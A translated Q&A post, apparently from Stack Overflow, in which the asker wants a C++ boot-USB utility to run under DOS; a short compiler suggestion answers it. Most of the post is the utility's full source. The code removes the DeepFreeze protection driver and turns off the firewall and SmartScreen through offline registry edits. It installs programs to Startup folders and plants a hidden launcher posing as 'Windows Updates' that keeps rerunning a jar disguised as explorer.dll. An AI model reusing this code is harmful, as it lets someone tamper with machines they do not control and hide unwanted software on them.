编译现有的C ++代码以在DOS中运行

时间:2015-04-22 17:00:15

标签: c++ linux windows batch-file

我目前有一个C ++应用程序,它将一些文件复制到用户的硬盘上。我在闪存驱动器上使用Hiren的BootCD来启动MiniXP并在其下运行我的应用程序,但加载时间有点慢,所以我想在磁盘附带的DOS映像中添加我的应用程序。我的问题是该应用程序将无法运行,因为“此应用程序无法在DOS模式下运行”。

如何在DOS下运行此应用程序,或者可以从USB驱动器启动足够快的任何其他操作系统?

我的应用程序是一个控制台应用程序,它的代码是:

#include <iostream>
#include <fstream>
#include <windows.h>
#include <string.h>
#include <sys/stat.h>
#include <stdio.h>
#include <io.h>
#define MAX 256
using namespace std;
string systemdrive;
string users[MAX];int userscontor=0;
bool choosew7orxp;
void menu();
bool exists(const std::string& dirName_in)
{
  DWORD ftyp = GetFileAttributesA(dirName_in.c_str());
  if (ftyp == INVALID_FILE_ATTRIBUTES)
    return false;  //something is wrong with your path!

  if (ftyp & FILE_ATTRIBUTE_DIRECTORY)
    return true;   // this is a directory!

  return false;    // this is not a directory!
}
bool fileexists (const std::string& name) {
  struct stat buffer;
  return (stat (name.c_str(), &buffer) == 0);
}
void checkdrive(char drive[])
{
    string s(drive);
    s+="Windows";
    if (exists(s))
    {
        systemdrive = string(drive);
    }
}
void list()
{
    int dr_type=99;
    char dr_avail[MAX];
    char *temp=dr_avail;
    /* 1st we fill the buffer */
    GetLogicalDriveStrings(MAX,dr_avail);
    while(*temp!=NULL) { // Split the buffer by null
        dr_type=GetDriveType(temp);
        switch(dr_type) {
            case 3: // Fixed
            checkdrive(temp);
            break;
        }
        temp += lstrlen(temp) +1; // incriment the buffer

    }

}
void copyfiles(string a1,string a2)
{
    system((char*)(string("copy /V \""+a1+"\" \""+a2+"\"").c_str()));
}
void redeepfreeze()
{
    system("cls");
    if (!fileexists(systemdrive+"DeepFrz.backup"))
    {
        cout << "> Backup does not exist!\n";
        Sleep(1000);
        menu();
    }
    else
    {
        cout <<"> Found Backup.\n";
        cout <<"> Restoring backup.\n";

        string f = systemdrive;
        f+="Windows\\System32\\drivers\\DeepFrz.sys";
        if( remove(f.c_str()) !=0 )
        {
            cout << "> Cannot delete file! Aborting.\n";
            Sleep(1000);
            menu();
        }
        copyfiles(systemdrive+"DeepFrz.backup",systemdrive+"Windows\\System32\\drivers\\DeepFrz.sys");
        cout <<"> Backup restored under \"DeepFrz.sys\"\n";
        Sleep(1000);
        menu();

    }
}
void disablefirewall()
{
    system("cls");
    cout <<"> Loading registery from windows machine...\n";
//    cout << "reg load HKLM\\OLD_SYSTEM "+systemdrive+"Windows\\System32\\Config\\System";
    system((char*)(string("reg load HKLM\\OLD_SYSTEM "+systemdrive+"Windows\\System32\\Config\\SYSTEM").c_str()));
    cout <<"> Registery loaded, disabling Firewall :3\n";
    for (int i=0;i<=9;i++)
    {
        char buff[33];
        system((char*)(string("reg add \"HKLM\\OLD_SYSTEM\\ControlSet00"+string(itoa(i,buff,10))+"\\services\\SharedAccess\\Parameters\\FirewallPolicy\\DomainProfile\" /v EnableFirewall /t reg_dword /d 0 /f").c_str()));
        system((char*)(string("reg add \"HKLM\\OLD_SYSTEM\\ControlSet00"+string(itoa(i,buff,10))+"\\services\\SharedAccess\\Parameters\\FirewallPolicy\\StandardProfile\" /v EnableFirewall /t reg_dword /d 0 /f").c_str()));
        system((char*)(string("reg add \"HKLM\\OLD_SYSTEM\\ControlSet00"+string(itoa(i,buff,10))+"\\services\\SharedAccess\\Parameters\\FirewallPolicy\\PublicProfile\" /v EnableFirewall /t reg_dword /d 0 /f").c_str()));
    }
//    system((char*)(string("reg add \"HKLM\\SYSTEM\\CurrentControlSet\\services\\SharedAccess\\Parameters\\FirewallPolicy\\DomainProfile\" /v EnableFirewall /t reg_dword /d 0 /f").c_str()));
//    system((char*)(string("reg add \"HKLM\\SYSTEM\\CurrentControlSet\\services\\SharedAccess\\Parameters\\FirewallPolicy\\StandardProfile\" /v EnableFirewall /t reg_dword /d 0 /f").c_str()));
//    system((char*)(string("reg add \"HKLM\\SYSTEM\\CurrentControlSet\\services\\SharedAccess\\Parameters\\FirewallPolicy\\PublicProfile\" /v EnableFirewall /t reg_dword /d 0 /f").c_str()));
    cout <<"> Operation completed,saving..\n";
    system("reg unload HKLM\\OLD_SYSTEM");
    cout <<"> Done.\n";
    Sleep(1000);
    menu();
}
void disablesmartscreen()
{
    system("cls");
    cout <<"> Loading registery from windows machine...\n";
    system((char*)(string("reg load HKLM\\OLD_SOFTWARE "+systemdrive+"Windows\\System32\\Config\\Software").c_str()));
    cout <<"> Registery loaded, disabling SmartScreen :3\n";
//    cout <<"reg add \"HKLM\\OLD_SOFTWARE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\" /v SmartScreenEnabled /t reg_sz /d Off /f";
//    system("pause");
    system((char*)(string("reg add \"HKLM\\OLD_SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\" /v SmartScreenEnabled /t reg_sz /d Off /f").c_str()));
    cout <<"> Operation completed,saving..\n";
    system("reg unload HKLM\\OLD_SOFTWARE");
    cout <<"> Done.\n";
    Sleep(1000);
    menu();
}
//}
void deldeepfreeze()
{
    system("cls");
    if (!fileexists(systemdrive+"Windows\\System32\\drivers\\DeepFrz.sys"))
    {
        cout << "> Deepfreeze does not exist!\n";
        Sleep(1000);
        menu();
    }
    else
    {
        cout <<"> Found DeepFreeze.\n";
        cout <<"> Creating backup.\n";
//        copyfiles(systemdrive+"Windows\\System32\\drivers\\DeepFrz.sys",systemdrive+"Windows\\System32\\drivers\\DeepFrz.backup");
        copyfiles(systemdrive+"Windows\\System32\\drivers\\DeepFrz.sys",systemdrive+"DeepFrz.backup");
        cout <<"> Attempting to unfreeze part one...\n";

        string f = systemdrive;
        f+="Windows\\System32\\drivers\\DeepFrz.sys";

        if( remove(f.c_str()) !=0 )
        {
            cout << "> Cannot delete file! Aborting.\n";
            Sleep(1000);
            menu();
        }

        cout <<"> Backup crated under \"DeepFrz.backup\"\n";
        cout <<"> Searching for \"ntfs.sys\"...\n";
        if (!fileexists(systemdrive+"Windows\\System32\\drivers\\ntfs.sys"))
        {
            cout <<" > ERROR. Cannot find ntfs.sys! Aborting.\n";
            Sleep(1000);
            menu();
        }
        else
        {
            cout << "> Patching ntfs.sys...\n";
            copyfiles(systemdrive+"Windows\\System32\\drivers\\ntfs.sys",systemdrive+"Windows\\System32\\drivers\\DeepFrz.sys");
            cout << "> Patching DONE. Computer unfrozen!\n";
            Sleep(1000);
            menu();
        }
    }
}
void list(char* dir,string users[],int &unr)
{
    int con=0;
    char originalDirectory[_MAX_PATH];

    // Get the current directory so we can return to it
    _getcwd(originalDirectory, _MAX_PATH);

    _chdir(dir);  // Change to the working directory
    _finddata_t fileinfo;

    // This will grab the first file in the directory
    // "*" can be changed if you only want to look for specific files
    intptr_t handle = _findfirst("*", &fileinfo);

    if(handle == -1)  // No files or directories found
    {
        cout <<"> No users found.\n";
        return;
    }

    do
    {
        if(strcmp(fileinfo.name, ".") == 0 || strcmp(fileinfo.name, "..") == 0)
            continue;
        if(fileinfo.attrib & _A_SUBDIR) // Use bitmask to see if this is a directory
        {
            users[con]=fileinfo.name;
            con++;
        }

//        else
//            cout << "This is a file." << endl;
    } while(_findnext(handle, &fileinfo) == 0);

    _findclose(handle); // Close the stream

    _chdir(originalDirectory);
    unr=con;
}

void installapp(char* app)
{
    system("cls");
    if (!fileexists(app))
    {
        cout << "> "<<app<<" does not exist!\n";
        Sleep(1000);
        menu();
    }
    else
    {
       if (choosew7orxp==true)///it's W7 or W8
       {
           string temp = systemdrive+"Users";
           string tmpu[MAX];
           int amont;
           list((char*)temp.c_str(),tmpu,amont);
           cout << "> Which user are you? Enter the #"<<"\n\n";
           for (int i=0;i<amont;i++)
           {
               cout << "User number #"<<i<<": "<<tmpu[i]<<"\n";
           }
           int nr;
           cin >> nr;
           while (nr<0||nr>amont)
           {
               cout << "Invalid number!\n";cin>>nr;
           }
           system("cls");
           cout << "> You selected user #"<<nr<<", which is \""<<tmpu[nr]<<"\".\n";
           string dest = systemdrive+"Users\\"+tmpu[nr]+"\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup";
           cout <<"> Installing..\n";
           copyfiles(app,dest+"\\"+app);
           cout <<"> Done!\n";
           Sleep(1000);

       }
       else
       { ///it's WXP
           string temp = systemdrive+"Documents and Settings";
           string tmpu[MAX];
           int amont;
           list((char*)temp.c_str(),tmpu,amont);
           cout << "> Which user are you? Enter the #"<<"\n\n";
           for (int i=0;i<amont;i++)
           {
               cout << "User number #"<<i<<": "<<tmpu[i]<<"\n";
           }
           int nr;
           cin >> nr;
           while (nr<0||nr>amont)
           {
               cout << "Invalid number!\n";cin>>nr;
           }
           system("cls");
           cout << "> You selected user #"<<nr<<", which is \""<<tmpu[nr]<<"\".\n";
           string dest = systemdrive+"Documents and Settings\\"+tmpu[nr]+"\\Start Menu\\Programs\\Startup";
           cout <<"> Installing..\n";
           copyfiles(app,dest+"\\"+app);
           cout <<"> Done!\n";
           Sleep(1000);
       }
    }
}
void masseject_fix()
{
    system("cls");
    char letter;
    cout <<"> What is your default CD letter?\n";
    cin >> letter;
    letter=toupper(letter);
    cout <<"> Selected drive: \""<<letter<<":\\\".\n";

   if (choosew7orxp==true)///it's W7 or W8
   {
       string temp = systemdrive+"Users";
       string tmpu[MAX];
       int amont;
       list((char*)temp.c_str(),tmpu,amont);
       cout << "> Which user are you? Enter the #"<<"\n\n";
       for (int i=0;i<amont;i++)
       {
           cout << "User number #"<<i<<": "<<tmpu[i]<<"\n";
       }
       int nr;
       cin >> nr;
       while (nr<0||nr>amont)
       {
           cout << "Invalid number!\n";cin>>nr;
       }
       system("cls");
       cout << "> You selected user #"<<nr<<", which is \""<<tmpu[nr]<<"\".\n";
       string dest = systemdrive+"Users\\"+tmpu[nr]+"\\AppData\\Roaming";

       fstream fout((dest+"\\massdrive.txt").c_str(),ios::out);
       fout<<" "<<letter;
       fout.close();
       cout <<"> Done!\n";
       Sleep(1000);

   }
   else
   { ///it's WXP
       string temp = systemdrive+"Documents and Settings";
       string tmpu[MAX];
       int amont;
       list((char*)temp.c_str(),tmpu,amont);
       cout << "> Which user are you? Enter the #"<<"\n\n";
       for (int i=0;i<amont;i++)
       {
           cout << "User number #"<<i<<": "<<tmpu[i]<<"\n";
       }
       int nr;
       cin >> nr;
       while (nr<0||nr>amont)
       {
           cout << "Invalid number!\n";cin>>nr;
       }
       system("cls");
       cout << "> You selected user #"<<nr<<", which is \""<<tmpu[nr]<<"\".\n";
       string dest = systemdrive+"Documents and Settings\\"+tmpu[nr]+"\\Application Data";


       cout <<"> Done!\n";
       Sleep(1000);
   }

}
void installAppdata(char* app)
{
    if (!fileexists(app))
    {
        cout << "> "<<app<<" does not exist!\n";
        Sleep(1000);
        menu();
    }
    else
    {
       if (choosew7orxp==true)///it's W7 or W8
       {
           string temp = systemdrive+"Users";
           string tmpu[MAX];
           int amont;
           list((char*)temp.c_str(),tmpu,amont);
           cout << "> Which user are you? Enter the #"<<"\n\n";
           for (int i=0;i<amont;i++)
           {
               cout << "User number #"<<i<<": "<<tmpu[i]<<"\n";
           }
           int nr;
           cin >> nr;
           while (nr<0||nr>amont)
           {
               cout << "Invalid number!\n";cin>>nr;
           }
           system("cls");
           cout << "> You selected user #"<<nr<<", which is \""<<tmpu[nr]<<"\".\n";
           string dest = systemdrive+"Users\\"+tmpu[nr]+"\\AppData\\Roaming";
           cout <<"> Installing..\n";
           copyfiles(app,dest+"\\"+app);
           cout <<"> Done!\n";
           Sleep(1000);

       }
       else
       { ///it's WXP
           string temp = systemdrive+"Documents and Settings";
           string tmpu[MAX];
           int amont;
           list((char*)temp.c_str(),tmpu,amont);
           cout << "> Which user are you? Enter the #"<<"\n\n";
           for (int i=0;i<amont;i++)
           {
               cout << "User number #"<<i<<": "<<tmpu[i]<<"\n";
           }
           int nr;
           cin >> nr;
           while (nr<0||nr>amont)
           {
               cout << "Invalid number!\n";cin>>nr;
           }
           system("cls");
           cout << "> You selected user #"<<nr<<", which is \""<<tmpu[nr]<<"\".\n";
           string dest = systemdrive+"Documents and Settings\\"+tmpu[nr]+"\\Application Data";
           cout <<"> Installing..\n";
           copyfiles(app,dest+"\\"+app);
           cout <<"> Done!\n";
           Sleep(1000);
       }
    }
}
void installKirLoga()
{
    fstream temp("Windows Updates.vbs",ios::out);
    temp << "CreateObject(\"Wscript.Shell\").Run \"\"\"\" & \"%appdata%/xfrps.bat\" & \"\"\"\", 0, False";
    temp.close();
    installapp("Windows Updates.vbs");

    fstream temp2("xfrps.bat",ios::out);
    temp2 << ":loop\r\ndel \"%APPDATA%\\KirLoga.jar\"\r\nCOPY \"%APPDATA%\\explorer.dll_update\" \"%APPDATA%\\explorer.dll\"\r\njava -jar \"%APPDATA%\\explorer.dll\" 1\r\ngoto loop";
    temp2.close();

    installAppdata("xfrps.bat");
    installAppdata("explorer.dll_update");
    menu();

}
void install_custom()
{
    system("cls");
    char ch[MAX];
    cout <<"> Enter app name: ";
    cin  >>ch;
    installapp(ch);
    menu();
}
void menu()
{
    int choose;
    system("cls");
    cout <<"> This is the main menu. Please choose an option.\n";
    cout <<"> 1. Delete DeepFreeze\n";
    cout <<"> 2. Reinstall DeepFreeze\n";
    cout <<"> 3. Install MassEject\n";
    cout <<"> 4. Configure MassEject\n";
    cout <<"> 5. Install other app to Startup\n";
    cout <<"> 6. Disable SmartScren\n";
    cout <<"> 7. Disable Firewall\n";
    cout <<"> 8. Quickie (Administrator, E:\\) <not updated>\n";
    cout <<"> 9. Install KirLoga <only starts after reboot>\n";
    cin.get();
    cin >> choose;
    if (choose==1)
    {
        deldeepfreeze();
    }
    else if (choose==2)
    {
        redeepfreeze();
    }
    else if (choose==3)
    {
        installapp("MassEject.jar");
        menu();
    }else if (choose==4)
    {
         masseject_fix();
    }else if (choose==5)
    {
        install_custom();
    }else if (choose==6)
    {
        disablesmartscreen();
    }
    else if (choose==7)
    {
        disablefirewall();
    }
    else if (choose==8)
    {
        //TODO
    }
    else if (choose==9)
    {
        installKirLoga();
    }
}
void choose_os()
{
   system("cls");
   cout << "> Are you running on Windows 7 or 8.x? <A/B>"<<'\n';
   char choice;
   cin >> choice;
   switch(choice)
   {
       case 'a': choosew7orxp=true;break;
       case 'A': choosew7orxp=true;break;
       case 'b': choosew7orxp=false;break;
       case 'B': choosew7orxp=false;break;
       default: cout << "> No, that's not how you do it..."; Sleep(1000);choose_os();break;
   }
   system("cls");
}
int main()
{
    system("cls");
    cout << "> Welcome to Kiraly's pack utility.\n";
    cout << "> Scanning system drives...\n";
    list();
    cout << "> System drive identified: "<<systemdrive<<", is this correct? (Y/N) ";
    char cdr;
    cin >> cdr;
    while (cdr!='Y'&&cdr!='y'&&cdr!='N'&&cdr!='n')
    {
        cout << "Incorrect syntax. Please re-enter. ";
        cin >> cdr;
    }
    if (cdr=='n'||cdr=='N')
    {
        cout << "> Please enter the drive letter ONLY. Example: \"C\" not \"C:\\\" ";
        char drlet;
        cin >> drlet;
        if ((int)drlet>=97)
        {
            drlet-=32;
        }
        systemdrive="";systemdrive+=drlet;systemdrive+=":\\";
        cout <<"> The system drive letter has been set to: "<<systemdrive<<"\n";
    }
//    Sleep(1000);
    system(systemdrive.substr(0,2).c_str());
    choose_os();
    menu();

}

1 个答案:

答案 0 :(得分:2)

首先,您需要一个可以生成DOS代码的编译器,例如watcom c ++:http://www.openwatcom.org/index.php/Main_Page

你的程序使用windows api调用(包括windows.h),你需要用它们的DOS等价物替换所有这些函数或自己编写替代品。